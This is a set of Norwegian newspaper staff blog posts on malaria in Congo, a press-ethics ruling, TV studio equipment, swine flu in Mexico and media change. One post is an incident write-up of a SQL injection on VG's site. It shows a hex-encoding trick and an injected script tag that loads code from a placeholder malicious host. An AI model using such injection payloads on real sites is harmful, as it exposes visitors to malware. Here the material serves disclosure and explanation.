av Stian Eisenträger | november 20, 2009  

Jungelfeber i Kongo

Tre andre VG-journalister og jeg dro 500 kilometer fra Kisangani for å finne stedene der Tjostolv Moland og Joshua French hadde vært på flukt i mai. Dette bildet er tatt i naturreservatet i Epulu.

Tre andre VG-journalister og jeg dro 500 kilometer fra Kisangani for å finne stedene der Tjostolv Moland og Joshua French hadde vært på flukt i mai. Dette bildet er tatt i naturreservatet i Epulu. FOTO: KRISTIAN HELGESEN

VG Netts journalist Stian Eisenträger tilbrakte tre uker i Kongo i oktober for å rapportere om rettsprosessen mot de draps- og spiontiltalte nordmennene Tjostolv Moland og Joshua French. Her forteller han om hvordan han opplevde å selv bli rammet av folkesykdommen malaria mens han var på jobb i Kongo.

STIAN EISENTRÄGER

Selv om man tar malariaprofylakse og gjør det man kan for ikke å bli stukket av myggen ved å bruke myggnett og myggspray, kan man bli stukket og smittet. FOTO: STIAN EISENTRÄGER

Hvert år blir mellom 300 og 500 millioner mennesker smittet med malaria. At jeg selv skulle bli del av denne statistikken i høst hadde jeg ikke ventet.

Etter å ha vært i Kongo i over to uker, var det ikke forbausende at magen til slutt måtte gi tapt, tirsdagen i den tredjen uke. Men situasjonen ble bare verre og verre utover kvelden, med kraftig diaré og etter hvert oppkast i tillegg. Rundt midnatt gikk kroppstemperaturen i været, samtidig som frostrier rev i kroppen.

Feberfantasiene var helt ville, jeg har aldri opplevd dem mer virkelige, der jeg lå og vred meg rundt i lakenet under myggnettet på rommet mitt. Deretter begynte svettetoktene. Etter å ha pendlet mellom sengen og toalettet gjennom hele natten, flatet jeg nokså utmattet ut på sengen utpå morgenkvisten.

Da jeg etter hvert begynte å våkne, verket musklene i ryggen og oppover i nakken og skuldrene. Et merkelig, kriblende indre trykk presset på innenfra hodet. ”Nå er det best å ringe hjem og si ifra at det ikke blir noen rapporter fra Kongo i dag”, tenkte jeg, og slo på tråden til redaksjonen i Norge. En Afrika-vant kollega kjente straks igjen symptomene, og sa at jeg måtte oppsøke sykehus om feberen vedvarte. Det gjorde den.

Onsdag kveld kjørte tolken og jeg ut til et lite privat sykehus i utkanten av Kisangani. Den rutinerte, vakthavende legen som tok meg i mot mistenkte straks malaria, men laboratoriet var stengt, så malariatesten måtte vi vente med til neste dag. I mellomtiden fikk jeg febernedsettende og et beroligende middel intravenøst, slik at denne natten skulle bli roligere enn den forrige.

Malariamedisinen Paluxin er et av de vanlige legemidlene som brukes for å bekjempe malaria hos smittede i Afrika sør for Sahara.

Malariamedisinen Paluxin er et av de vanlige legemidlene som brukes for å bekjempe malaria hos smittede i Afrika sør for Sahara. FOTO: STIAN EISENTRÄGER

Grytidlig torsdag morgen, før rettsmøtet, kjørte vi på nytt ut til den lille klinikken. Der ble det tatt blodprøve, og testen kunne etter en halvtimes tid påvise at jeg var smittet med malaria. Den kostbare, reseptbelagte malariamedisinen Malarone var ikke nok, selv om jeg hadde tatt medisinen som jeg skulle hver dag – i tillegg til at jeg hadde fulgt rådene om å dekke til kroppen, bruke myggmidler og sove under myggnetting.

”Medisiner og forebyggende tiltak kan aldri være 100 prosent effektive. Av og til kan man ha skikkelig uflaks, bli bitt av mygg og smittet med malaria”, sa den kongolesiske legen før hun ga meg en pakke med Paluxin, som i løpet av sju dager skulle ta knekken på parasittene som hadde inntatt blodsystemet mitt.

Legekonsultasjonen, malariatesten og –medisinen kostet meg 20 dollar – en latterlig lav sum for en pasient fra den vestlige verden. Verre er det imidlertid for de millioner av kongolesere som hvert år blir malariasyke. Landet har verdens nest laveste bruttososialprodukt per innbygger på estimerte 300 dollar, og det sier seg selv at den jevne kongoleser sannsynligvis ikke vil få behandling mot malaria om vedkommende blir syk.

STIAN EISENTRÄGER

Barn er spesielt utsatt for malaria, og de fleste av de 1-3 millioner mennesker som dør av malaria hvert år er afrikanske barn. FOTO: STIAN EISENTRÄGER

Hvert år dør anslagsvis oppimot tre millioner mennesker av malaria, de aller fleste barn i Afrika. Min egen, nokså kortvarige sykdomsopplevelse har bare gitt meg en liten smakebit på hvilken plage sykdommen er, og hvor forferdelig det må være å måtte gå med den i lengre tid – helt til man eventuelt dør.

Ifølge Verdens helseorganisasjon (WHO) er det ikke bare menneskelige tap knyttet til malaria, men også betydelige økonomiske tap. I hardt rammede land går så mye som 40 prosent av de offentlige helseutgiftene til å behandle malaria, og økonomer mener det årlige bruttonasjonalproduktet i slike land blir redusert med over én prosent som følge av folkesykdommen.

At dette er tilfelle kan jeg godt forstå, for når man er rammet av malaria blir man totalt slått ut og arbeidsufør. Hadde jeg ikke fått medisiner til å dempe symptomene, ville jeg som eneste gjenværende norske journalist ikke vært i stand til å rapportere fra rettssalen den siste dagen jeg tilbrakte i Kisangani.

STIAN EISENTRÄGER

Joshua French var også syk med malaria da jeg var i Kisangani i oktober. På tidspunktet da dette bildet ble tatt, lå Tjostolv Moland på sykehus og leger fryktet han kunne ha fått hjernemalaria. FOTO: STIAN EISENTRÄGER

Vel hjemme i Norge oppsøkte jeg lege på nytt for å finne ut om de hadde gitt meg riktig behandling i Kongo. Vedkommende lege kunne berolige meg med følgende: ”Du har nok fått den beste behandlingen for malaria du kan få noe sted. Er det noe legene er eksperter på i den delen av verden, er det å behandle malaria”.

Stian Eisenträger
Journalist i VG Nett
stiane@vg.no

Les mer om malaria her:

Tips oss hvis dette innlegget er upassende

av Espen Egil Hansen | september 29, 2009  

Blå kors fikk ikke medhold i sin klage mot VG Nett

Pressens faglige utvalg har i dag behandlet klagen Blåkors har anlagt mot VG Nett i forbindelse med våre vinanmeldelser, vindatabase og vinomtaler.

Pressens Faglige Utvalg er et klageorgan oppnevnt av Norsk Presseforbund. Organet som har medlemmer fra presseorganisasjonenene og fra allmennheten, behandler klager mot pressen i presseetiske spørsmål (trykt presse, radio, fjernsyn og nettpublikasjoner). Du kan lese om PFU her.

 

Journalisten.no vil legge ut videoopptak av debatten her.

 

Blå Kors har i forbindelse med klagen på VG og VG Nett laget en rapport om omtale av alkohol i norske medier. Rapporten finner du her

 

VG Netts mat- og vinsider finner du her

 

 

Under følger uttalelsen fra PFU:

PRESSENS FAGLIGE UTVALG UTTALER:

 
 Klagen gjelder VG Netts jevnlige omtale og testing av vin og andre alkoholholdige drikker. Klageren, edruskapsorganisasjonen Blå Kors Norge, mener VG Nett opptrer i strid med pressetiske normer ved at avisen systematisk omtaler alkoholprodukter med reklamens virkemidler. Klageren bruker ord som «positiv produktseleksjon», «bruksanbefaling», «positiv, suggererende opplevelses- og nytelsesretorikk» og «kjøpsoppfordring» om avisens journalistikk. Blå Kors mener derfor VG Nett har opptrådt i strid med tekstreklamepunktene i Vær Varsom-plakaten og Tekstreklameplakaten. Blå Kors mener også VG Netts nære samarbeid med og lenking til nettstedet www.aperitif.no også er i strid med god presseskikk.

 

VG Nett avviser klagen og anfører at man har utøvd forbrukerjournalistikk på samme måte som overfor andre produktgrupper. Nettavisen mener det ikke kan legges spesielle rammer rundt journalistikk på dette området, selv om det er knyttet reklameforbud til det, noe som innebærer at det eksisterer en begrensning i ytringsfriheten om produkter med alkoholinnhold. VG Nett understreker at journalistikken også på dette området kun er redaksjonelt initiert, helt uavhengig av kommersielle krefter. Med hensyn til den påklagede lenkingen til aperitif.no, vises det til at dette er et selvstendig nettsted underlagt de samme normene som VG Nett selv, men at man ikke har noe redaktøransvar for dette. 

 

 

Pressens Faglige Utvalg konstaterer at Blå Kors åpenbart har et ønske om at VG Nett og andre medier begrenser sin forbrukerjournalistikk om alkohol. Utvalget har forståelse for at Blå Kors som organisasjon ønsker å rette et slikt kritisk søkelys mot forbrukerjournalistikk om alkohol, men har vanskelig for å se at denne type kritikk faller innenfor presseetikken, slik denne defineres av Vær Varsom-plakaten.

 

På den annen side mener utvalget at man ikke kan akseptere VG Netts argumentasjon om at det påligger pressen en særskilt oppgave i å informere om alkoholprodukter fordi det eksisterer et reklameforbud. Utvalget kan ikke se at det skulle ligge innenfor det såkalte samfunnsoppdraget å oppveie et reklameforbud som er satt av helsemessige årsaker.

 

Utvalget velger utelukkende å vurdere klagen på et rent tekstreklamegrunnlag. Spørsmålet blir da om VG Netts omtale av alkohol har form og innhold som strider mot Vær Varsom-plakatens punkt 2.6, der det heter:

 

«Avvis alle forsøk på å bryte ned det klare skillet mellom reklame og redaksjonelt innhold. Avvis også reklame som tar sikte på å etterligne eller utnytte et redaksjonelt produkt, og som bidrar til å svekke tilliten til den redaksjonelle troverdighet og pressens uavhengighet.» 

 

Slik utvalget ser det, skiller ikke de påklagede omtalene seg i vesentlig grad fra annen vurdering av produkter og tjenester på markedet. Tvert imot framstår VG Netts forbrukerjournalistikk som seriøs, med relevante testkriterier når det gjelder vinomtale.  Utvalget kan ikke se at utforming eller innhold tilsier at det skulle dreie seg om skjult reklame for produktene. På generelt grunnlag vil utvalget understreke at det er avgjørende å skille mellom reklameverdi og tekstreklame. At VG Netts omtale av nye viner fører til økt omsetning, betyr ikke at omtalen strider mot de presseetiske normene, slik de er nedfelt i Vær Varsom-plakaten og Tekstreklameplakaten.

 

Utvalget kan heller ikke se at VG Netts lenking til samarbeidspartneren www.aperitif.no strider mot pressetiske normer, i og med at lenkene er tydelig merket og at brukeren lett vil forstå under hvilket merkenavn man til enhver tid befinner seg.

 

 

VG Nett har ikke brutt god presseskikk.

 

 

Tips oss hvis dette innlegget er upassende

av Pål Hansen | juni 9, 2009  

Slik fungerer VGTV-studio

 

David Andresen klar med kamera 4 i studio. Programleder Jamel Rake med Lyn-trener Kent Bergersen og VGs fotballekspert Knut Espen Svegaarden er klare i studio.

Før Avspark opptak: David Andresen klar med kamera 4 i studio. Programleder Jamel Rake med Lyn-trener Kent Bergersen og VGs fotballekspert Knut Espen Svegaarden er klare i studio. Foto: Frode Hansen, VG

Å sette opp et tv-studio er i utgangspunktet en kostbar operasjon. Og for de store tradisjonelle tv-kanalene kan også driften av et studio være en markant utgiftspost med mange folk bak kamera, men med moderne teknologi kan
det være penger å spare både i investeringsfasen og i produksjonsfasen.
Dette er for så vidt ikke noe nytt. På de store tv-messene i Las Vegas og
Amsterdam er nettopp teknologi for å automatisere studioproduksjoner så mye som man egentlig selv ønsker vært vist frem til kringkastere og andre i flere år, nettopp for å møte kravene fra mindre kanaler med mindre
budsjetter slik som oss i VGTV. Eller for de med store investeringsbudsjetter som vil redusere på bemanningen. Automatikken kommer i alle prisklasser både på kamerasystemer og avviklingssystemer.
 
Jeg har vært både hos CNN og FOX News i New York og vært flue på veggen i
HK (hovedkontroll), og man blir selvsagt imponert over det store apparatet de
har til rådighet bak kamera. Samtidig tenker man selvsagt at dette må koste
skjorta.
 
I Norge derimot har både NRK og TV 2 hengt med i timen, og vært tidlig ute
med å ta i bruk studioteknikk som krever minimal bemanning for avvikling av
studiosendinger. Spesielt hos TV 2 Nyhetskanalen og i NRKs nyhetsstudio hvor
nyhetssendingene på dagtid produseres er det tatt i bruk fjernstyrte
kameraer og delvis automatisert avvikling. To medarbeidere kan avvikle
sendingen i tillegg til den som ankrer i studio. Det er også mulig å være
alene i regi om det skulle kreves. Dit ville også jeg komme når vi skulle
lage vårt nye studio.
 
Studio
 
Vi produserer foreløpig bare fotballmagasinet Før Avspark to ganger i uken
fra vårt nye studio i 6. etasje i VG-bygget, men studioet er et multistudio
og kan rigges om for å gjøre andre ting, og andre konsepter vil komme
etter hvert.
 

Sony BRC-300 kameraene i aksjon under opptak av Før Avspark.

Fjernstyrt: Sony BRC-300 kameraene i aksjon under opptak av Før Avspark. Foto: Frode Hansen, VG

Studioet er satt opp med tre stk fjernstyrte Sony BRC300 kameraer. Kameraene er satt opp med et fiberkort hver, så fra kameraene går det fiber kabler til 3 stk Sony optiske multipleksere som både mottar bilde fra kameraene og gir deg styring over hvert kamera. Multiplekserne er satt opp med et sdi kort som sender videosignalet videre til studiomikseren. Hver multiplekser har også en styringskabel, disse går i en sløyfe fra multiplekser til multiplekser og til sist ut til styringsenheten(Sony RMBR300). I denne kontrollenheten har man mange valg, men vi har valgt å sette den opp slik at man styrer iris og fokus manuelt fra styringsenheten for hvert kamera. I tillegg kan man sette opp til 16 presets (forhåndsinnstilte posisjoner) for hvert kamera (for øvrig har jeg aldri brukt så mange), man kan også velge i hvilket tempo et kamera skal gå fra en posisjon til en annen. Disse tre kameraene forhåndsinnstilles dermed på et utvalg forhåndsinnstillinger for hvert kamera under Før Avspark-opptak.
 
I tillegg har vi kamera 4 som er en Sony EX3. Dette kameraet står vanligvis
fast på et såkalt totalbilde (viser hele studiodecken). Dette kameraet står
på en rail (skinne), slik at hvis vi har anledning så kan vi sette en
fotograf på dette kameraet og få noen fine kjøringer. Kameraet er også satt
opp med en teleprompter fra Autoscript som gir programleder Jamel Rake en
mulighet for å lese sine innannonseringer i kamera 4, mens teksten ruller.
Til dette bruker vi et prompter program som er gratis på nettet;
Cueprompter.com.
 
Hendig bildemikser
 

Bildeprodusent Pål R. Hansen og David Andresen for anledningen på lyd under opptak i regirommet.

I regi: Bildeprodusent Pål R. Hansen og David Andresen for anledningen på lyd under opptak i regirommet. Foto: Frode Hansen, VG

I Studioregien vår benytter vi en Sony Anycast station videomikser. Den er satt opp med 3 SDI kort med to inputs hver seg, så vi har mulighet for seks
videokilder inn i mikseren. Vi bruker den kun som en stand-alone videomikser for å klippe mellom kameraene i studio og for å avikle VBer (innslag) fra
disk. Anycast station har mange flere muligheter innebygd som vi ikke utnytter i det daglige. Det som er fint med Anycast station er også muligheten for å kjøre multi-view display av hele oppsettet. Vi speiler det
innebygde multi-view panelet opp i en 32” NEC skjerm som henger på veggen, og har i tillegg en JVC 15” DTV SDI monitor for program view for å sikre kvaliteten på alle signalene. Ved siden av mikseren står
kamerakontrollenheten for styring av kameraene.
 

Enheten for kamerakontroll som gir styring over tre av fire kameraer i studio innfelt i bordet til venstre.

Kamerakontroll: Enheten for kamerakontroll som gir styring over tre av fire kameraer i studio innfelt i bordet til venstre. Foto: Frode Hansen, VG

Innslag må på forhånd spilles inn på en firewire hardisk som er formatert mot Anycast. Dette gjør vi rett ut av Final Cut Pro med et Matrox MX02 board (kort) i mellom for å ta lyd og bilde inn via mikseren til disken.
 
Ved siden av mikser, kamerakontrollenhet og displayer står en iMac som brukes til å vise kjøreplanen for dagens opptak med start og slutt tider for innslagene som skal avvikles, og med kamerakontroll posisjoner i et eget skjema ved siden av.
 
Lyd og lys
 
Lyd er viktig, og er kanskje det største løftet vi gjorde ved flyttingen opp i nytt studio. Vår gamle MIDAS analoge mikser ble byttet ut med en digital Yamaha DM1000, som nå er kjernen i signalflyten på lyd, og med god hjelp fra
lyd-frilanser Ronny Furevik og gutta fra Lydrommet AS med Christian Snilsberg i spissen ble signalflyt som ivaretar både studioet og de livekildene vi har inn i HK satt i system. Alle live kilder rutes gjennom lydmikseren og ut igjen til et switch panel hvor de kan rutes ut til våre to
video enkodere eller til recording. Vi har også mulighet for å gjøre
flerspors lydopptak i Nuendo på en iMac digitallisert gjennom et MOTU
lydkort.
 
Selve lyden i studioet var en utfordring siden studioet vårt ligger i et
atrium med fare for bakgrunnsstøy fra flere steder. Vi ønsket å prøve å
isolere ut disse farene så bra som mulig. I studio tok vi derfor i bruk AKG
nyre mikker (AKG C520L)
som er retningsstyrte mot munnen i stedet for de
vanlige kulemikkene som brukes mest i tv-studioer.
 
Da vi flyttet ut av studioet i femte etasje tok vi med oss lysriggen vi
hadde, og flyttet denne inn i det nye studioet. Riktignok ble det kjøpt til
et par ekstra spotter i tilllegg til det vi hadde fra før, samt en ekstra
dimmer for å få styring over hver og en lampe fra lysbordet. Elpag ved Bjørn
Wilberg og Lucian Golan har vært gode rådgivere og installatører på lysfronten.

Lucian satte opp et et touchscreen panel med MagicQ softwaren som
følger lysbordet(Magic Q PC WIng), og dette lar deg velge en eller flere
lamper du vil justere nivået på, og så bruker man selve lysbordet til å
justere styrken i lampen med faderne.
 
Live
 
VGTV har pr i dag to faste livekilder i hus. Vi mottar Reuters live over
satellitt, og vi mottar Stortinget live over fiber fra Løvebakken. Disse
live video-signalene treffer både studiomikseren og en egen live kontroll
mikser i HK som kan bytte mellom våre live kilder og sende signalet ut til
en SDI switch fra Kramer som ruter signalene videre til live enkoding eller
recording. Det gjør at vi kan kjøre enten to live sendinger samtidig eller
kjøre en livesending samtidig som vi har opptak i studio. Vi kan dermed
også bruke livesignalene i en studioproduksjon om vi ønsker. For eksempel
før en viktig stortingsdebatt eller om noe stort skjer ute i verden
forøvrig. Veldig fleksibelt og greit for oss i vår hverdag.
 
Opptak
 

Programleder Jamel Rake får et lite lag pudder før opptak.

Klar for opptak: Programleder Jamel Rake får et lite lag pudder før opptak. Foto: Frode Hansen, VG

Til å ta opp studioproduksjoner eller live sendinger har vi to alternativer. En Mac Pro med et Aja Kona SD-SDI kort kan enten benytte Picture ready fra Gallery eller Final Cut Pro til direkte opptak av lyd og bilde rutet til den fra switchen. Vi tar også et tape backup opptak på mini-DV i en DV-recorder. Disse kan selvsagt også brukes separat om man ønsker å gjøre to uavhengige
opptak fra en live og fra en studioproduksjon.

 
Våre to live servere gir oss muligheten til å gjøre livestreaming enten i flash h264 distribuert over vårt wowza rigg hos Fasthost eller med Move teknologi (som vi bruker på VG Live), men det blir et annet kapittel.
 
Enkelt og greit, men nokså gjennomtenkt.
Følg med på Før Avspark folkens!

Tips oss hvis dette innlegget er upassende

av Audun Ytterdal | mai 6, 2009  

Hacking av VG og Strømstans

I går var en dårlig dag på jobben. Som driftsjef i VG Multimedia er jeg vant til litt av hvert, men gårsdagen var spesiell.

Daquella manera, Creative Commons

Bilde: Daquella manera, Creative Commons

http://www.vg.no/teknologi/artikkel.php?artid=562816

http://img.nrk.no/nyheter/1.6595869

http://www.aftenposten.no/forbruker/digital/nyheter/data/article3060663.ece

http://www.idg.no/computerworld/article131980.ece

Jeg fikk en telefon fra Watchcom som hadde funnet ut at noen kreative individer der ute på internett
benyttet seg av en feil på siden http://www.vg.no/reise/reisebrev.php?id=1 til å lure folk via søk på google til å installere et antivirusprodukt som egentlig var et virus

Hvordan fungerte det egentlig?

Reisebrev-applikasjonen var dessverre ikke kvalitetssikret godt nok før vi la det ut julen 2007

Variablen “id” her ble brukt direkte i en sql-spørring uten å bli “vasket” først. (dvs å passe på at “id” kun er et tall og ikke noe annet)

Det resulterte i at koden forsøkte å kjøre en sql-spørring og putte inn hva enn du skrev bak id=

Her kommer kreativiteten inn. Det lot seg ikke gjøre å legge inn data in databasen, men det gav muligheten til litt kreativ selecting og få resultatet ut på siden.

Klikk her for å se den orginale URL’en (Kan trigge antivirussoftwaren din)

http://pastebin.com/f7f7a573b

(jeg måtte legge det ekstern, hvis ikke ville folk få virusvarsel fra triggerhappy antivirussoftware hver gang folk kom inn på meta.vgb.no)

Mysql oversetter variabler som begynner med 0x til string automatisk. Her er en  liten perlsnutt som gjør det samme:

$ echo 0x6672656520796fe756e67206769726c20706f726e |perl -lne 'print map {chr(hex($_))} /(..)/g'
free young girls porn

Så det er i praksis det samme som å si:

select 0,"free young girl porn",0,0,1,...."<script src="http://slemsite.com/slemtscript.php"></script>",0,1,.... from tabell"

Resultatet var at den første testsnutten ble vist på våre sider, og den andre som er javascript ble kjørt. Den lastet ned et slemt javascript fra en en ekstern site, som når det ble kjørt sendte deg til en annen ekstern.  Der ble du fortalt at du hadde virus og forsøkte ganske aggressivt å få deg til å installere et antivirusprodukt som egentlig selv var et virus.

Hvordan fikk de folk til å besøke denne siden?

I og med at denne javascriptkoden kun blir kjørt hvis du encoder den inn i URL’en, og aldri befant seg på noen av VG’s maskiner, måtte de ha en måte å få folk til å klikke på slike linker.

De de da gjorde var å legge ut slike linker på mange steder rundt på internett. Etterhvert plukket Google og andre søkemotorer opp disse URL’ene og man fikk plutselig muligheten til å gjøre søk av type “reisebrev brazil free young girl porn” og få opp treff på de slemme URL’ene.

Det var aldri på noe tidspunkt en lenke til disse på VG Netts egne sider.

Fikk noen virus på grunn av dette?

Jeg sjekket loggene for de 5 siste dagene og det har vært 331 besøk på en eller annen variant av disse slemme URL’en. Av disse er 260 googleindexering, resten er søk fra google samt en fra en webmailkonto. Det ser ut som det er 13 unike brukere som har besøkt en slik URL og det ser ut som alle har forsøkt å trigge feilen med vilje.

Så impacten har vært relativt liten. Jeg tror ikke noen har pådratt seg virus fra VG Nett uten å ha vært klar over problemet i utgangspunktet, eventuelt vært på jakt etter pornografiske reisebrev fra Brasil.

Var det et rettet angrep mot VG Nett?

Nei jeg tror ikke det. Jeg vil heller tro at de automatisterte angrepene som før gikk spesielt på exploits i kommersiell og open source kjent hyllevare nå er blitt så avanserte at de automatisk traverserer alle internettsider for å finne hull i alle applikasjon og modifiserer seg selv til å passe for hver enkelt site automatisk. Det blir skummelt fremover.

Hva gjør vi for at slikt ikke skal skje igjen?

Vi gått igjennom all kode av lignende slag, på jakt etter tilsvarende blemmer.  Vi retter fortløpende. Vi kommer også til å gå igjennom ny og gammel kode mye nøyere i fremtiden.

Trust no one!

Hva skjedde så tirsdags kveld? Var det relatert?

Tom T, Create Commons

Tom T, Creative Commons

Nei, men jeg skjønner hvorfor folk trodde det. Saken var at 20:45 så eksploderte strømforsyningen i en SUN Openstorage som vi har på testlån. Når den eksploderte slo den ut en av strømkursene på ett av serverrommene våre. På den strømkursen sto en gammel Alteon lastbalanserer som bare har en strømforsyning, og som egentlig ikke er i bruk til noe annet enn Tett på nett og noen andre småtjenester

Alt fungerte egentlig som forventet helt til en journalist brukte forsideverktøyet vårt til å publisere en ny forside. Verktøyet klarte ikke snakke med disse perifere tjenestene, men istedenfor å takle det som forventet lagret den isteden innloggingsboksen sin som innhold, for deretter å gå helt i stå.

Det gikk en stund før vi fikk verkøyet til å oppføre seg, og innen vi hadde en fix på plass så hadde vi fått opp den gamle lastbalansereren og ting oppførte seg normalt igjen

Mens ting ikke fungerte så la jeg ut oppdatertinger direkte på forsiden med vim i hui og hast. Men dessverre kom det litt encodingfeil (utf-8 vs iso-8859-1) slik at det nok så litt skummelt ut for noen.

Så hvordan var egentlig dagen?

Mens ting var nede i går glødet telefonen min. Journalister fra konkurrenrende media var på meg kontinuerlig. En svært stresset redaksjon måtte holdes underrettet. De ringte fra NRK Nett, NRK Radio, Aftenposten, Computerwold og alskes andre steder og ville vite mest mulig. NRK TV ville inn i Akersgata og filme hackerangrepet innenifra, og ville koble hackerangrepet med strømbruddet. Det har vært lærerikt å være i enden av en slik storm.

Tips oss hvis dette innlegget er upassende

av Stian Eisenträger | april 29, 2009  

Når usikkerheten gjør Mexico syk

Ida Anna Haugen og Amund Bakke Foss rapporterte fra Mexico by da svineinfluensautbruddet var i sin første fase.

PÅ PLASS: Ida Anna Haugen og Amund Bakke Foss rapporterte fra Mexico by da svineinfluensautbruddet var i sin første fase.

Ida Anna Haugen rapporterte fra Mexico by i et hektisk døgn mens svineinfluensa-utbruddet fortsatt var ferskt. Her er hennes opplevelse av situasjonen i Mexico.

Flere apoteker ble utsolgt for munnbind, men munnbindene ble også delt ut gratis i byens sentrum.

UTSOLGT: Flere apoteker ble utsolgt for munnbind, men munnbindene ble også delt ut gratis i byens sentrum.

For tre uker siden var det et sydende folkeliv på Zocalo, møteplassen i hjertet av Mexico by. Gateselgerne sto som sild i tønne for å tilby alt fra undertøy til tortillas, mens de alle hylte så høyt de bare maktet. Det var nye mennesker, farger, lukter og smaker overalt. Hadde noen da foreslått at man skulle holde to meters avstand til hverandre, ville det mest sannsynlig blitt møtt med hånlatter. Av den enkle grunn at med så mange mennesker ute i gatene samtidig, ville den slags avstander være en umulighet.

Da vi igjen ankom Mexico by var situasjonen en ganske annen. Borte var ropene fra gateselgerne, og undertøy og tortillas var pakket vekk. Flere vi snakket med fortalte at for første gang kunne de høre fuglekvitter ute på gatene midt i hovedstaden. Færre biler og færre mennesker gjorde det vanskelig å tro at dette var en av verdens største hovedsteder, med mer enn 23 millioner innbyggere. Det mest fremtredende tegnet på at noe var galt var likevel det man så på de menneskene som hadde valgt å ta turen ut i gatene. De blå munnbindene ble for oss selve symbolet på den frykten mexicanerne nå opplevde på grunn av et virus med ukjent opphav.

PolitibetjentenJulio Cesar (34) er ekstra redd for barna sine i den usikre situasjonen.

REDD FOR BARNA: PolitibetjentenJulio Cesar (34) er ekstra redd for barna sine i den usikre situasjonen.

De var overalt. På militæret, på politiet, på T-banen, ute i gatene. Og de menneskene som enda ikke hadde fått dekket til ansiktet fortalte at de var på vei for å skaffe seg det.- Vi er som hunder, beveger oss i flokk, fortalte en gammel mann oss. Apoteker meldte om at de var gått tomme, og en av militærbetjentene vi snakket med hadde delt ut mer enn 4000 masker alene. Frykten fremsto som like blå som maskene. Og dette var mennesker som likevel beveget seg ut. De som var mest skremt over situasjonen holdt seg inne.

Vi følte vi var der i en brytningsperiode. Alles øyne var rettet mot Mexico by og situasjonen var uoversiktlig. Skolene stengtes, fotballkamper spiltes for tomme tribuner, og den internasjonale pressen valfartet til Zocalo for å formidle den spente situasjonen i millionbyen. – Selvfølgelig er det ubehagelig, jeg er redd og tar de forhåndsreglene jeg kan, fortalte reporteren fra Nippon TV oss.

Moren til fireåringen Marco ville la urbefolkningen helbrede han og gi han god helse. I helgen har det vært en kraftig økning i mennesker som vil igjennom det tradisjonsrike ritualet.

HELBREDES: Moren til fireåringen Marco ville la urbefolkningen helbrede han og gi han god helse. I helgen har det vært en kraftig økning i mennesker som vil igjennom det tradisjonsrike ritualet.

Men det vanskeligste i hele situasjonen var å vite hva folk egentlig var redd for. For det man rapporterte om var frykten i byen. Men frykten for hva? Mens vi var i Mexico by var det ikke kjent hvor stort omfang denne influensaen hadde og smittefaren var vanskelig å anslå. Alle avisene hadde saker om viruset på forsiden, og på TV-kanalene ble man oppfordret til å vaske hender, unngå store folkemengder og bruke munnbind. Usikkerheten skapte en slags psykose der man var redd for en usynlig fiende, som man ikke visste hvor ville slå til. Eller om den i det hele tatt ville slå til. En massesuggesjon av frykt, som også vi ble påvirket av.

For det var påfallende å se hvordan dekningen i Mexico dreide seg om de nødvendige forhåndsreglene og sikkerhetstiltakene som regjeringen satte i verk, mens man i resten av verden nærmest utelukkende fokuserte på antall smittede og døde. Hva som egentlig skapte størst frykt er vanskelig å si. Sikkert er det likevel at Mexico by var blitt syk, ikke bare av influensa men av en usikkerhet som ikke så ut til å kunne forklares.

Innbyggerne i Mexico City er advart mot å oppsøke steder med store menneskemengder, som her på metroen.

ANSPENT STEMNING: Innbyggerne i Mexico City er advart mot å oppsøke steder med store menneskemengder, som her på metroen.

Og fra å være et hovedstadsproblem spredte frykten seg til andre deler av Mexico. Selv i San Cristobal de Las Casas, hvor det ikke er rapportert om noen influensatilfeller er apotekene utsolgt for de blå munnbindene. Det er også kommet rapporter om at folk hamstrer på supermarkedene , og stemningen er en helt annen enn da vi først kom hit. Man håndhilser ikke lenger, og holder avstand.

For oss er usikkerheten rundt situasjonen levelig. Vi kommer oss hjem til Norge om det skulle bli nødvendig, og selv om turen blir amputert fordi Cuba stenger grensene blir usikkerheten mindre i det vi kommer hjem til familie og venner. Vi har medisiner om noen skulle bli syke, og siden vi enda ikke har merket noen symptomer ser vi ut til å ha kommet oss unna smitten. For menneskene i det landet vi forlater er situasjonen en ganske annen. Usikkerheten rundt smittesituasjonen har også et økonomisk perspektiv for mexicanerne. Hver dag siden svineinfluensa-utbruddet har 777 millioner pesos gått tapt i service, handel og turisme-sektoren. 70 prosent av de ansatte i Mexico by risikerer å miste jobben på grunn av konkurser i kjølvannet av influensaviruset, og man regner med at det personlige forbruket vil falle med 45 millioner pesos.

For undertøysselgerne og tortillasmannen på hjørnet kan det bety kroken på døra og et bortfall av livsgrunnlag, noe som medfører en usikkerhet som varer enda lenger enn effektene fra influensaviruset.

Ida Anna Haugen
idaa@vg.no

På søndag kom opp mot 500 mennesker innom det medisinske teltet på Zocolo-plassen for å sjekke seg.

TAR I MOT MANGE: På søndag kom opp mot 500 mennesker innom det medisinske teltet på Zocolo-plassen for å sjekke seg.

Tips oss hvis dette innlegget er upassende

av Espen Egil Hansen | april 29, 2009  

Fremtidens medier snakker med, ikke til leserne

Denne artkkelen ble publisert denne uken i Norsk Redaktørforenings Årbok 2009. Hele boken er tilgjengelig på foreningens nettside www.nored.no

Denne våren endres medieverden dramatisk. Det er vemodig, men behøver ikke bety et stort tap verken for menneskeheten eller journalistikken. 

I min hjemby Grimstad ble det bygd seilskuter. Stolte, vakre skuter reist på lokal eik og høy kompetanse. År for år ble skutene som satte seil i Vikkilen større, bedre og kvaliteten var verdenskjent. Men så var det brått slutt og i ettertid er det lett å se hvorfor: Noen andre laget noe som var mer effektivt. 

Seilskuteredere og verft  i Grimstad, Liverpool og Marstal definerte sin forretning og kompetanse til å være eik og seil. De avskrev de nye båtene i jern og motor som klumpete og bråkete, og de nye rederne som uforsvarlige eventyrere uten sjømannskap. Kritikerne hadde selvsagt rett, men klarte ikke å se det sentrale: Den nye teknologien gjorde en bedre jobb billigere.

Nå er vi der i mediebransjen. Vi diskuterer papirjournalistikkens fortrefflighet versus nett, og ser ikke at rundt oss bygges det digitale supertankere som gjør en bedre jobb mer effektivt.  Vi er opprørte over at nettavisene, bloggerne og de digitale sosiale nettverkene ikke oppfører seg på samme måte som papiravisene. Men dette handler ikke om at vi har fått en ny publiseringsplattform. Det handler heller ikke om papir versus nett. Det handler om enveiskommunikasjon versus elektronisk flerveiskommunikasjon. Fremtidens digitale supertankere er bygd på evnen til å snakke med, ikke til!

Tradisjonelle medier er enetale: vi skriver – dere leser.  Det er en absolutt redigert virkelighet hvor hver setning er vurdert, kvalitetssikret og presentert etter tradisjonsbundne regler.  Sidetall setter begrensingen i trykte medier, tid i kringkasting, og hele det redaksjonelle begrepsapparatet er knyttet til denne virkeligheten: Deadline, oppslagsbilde, ti-spalter, siste side, programleder, omtak, undertittel…

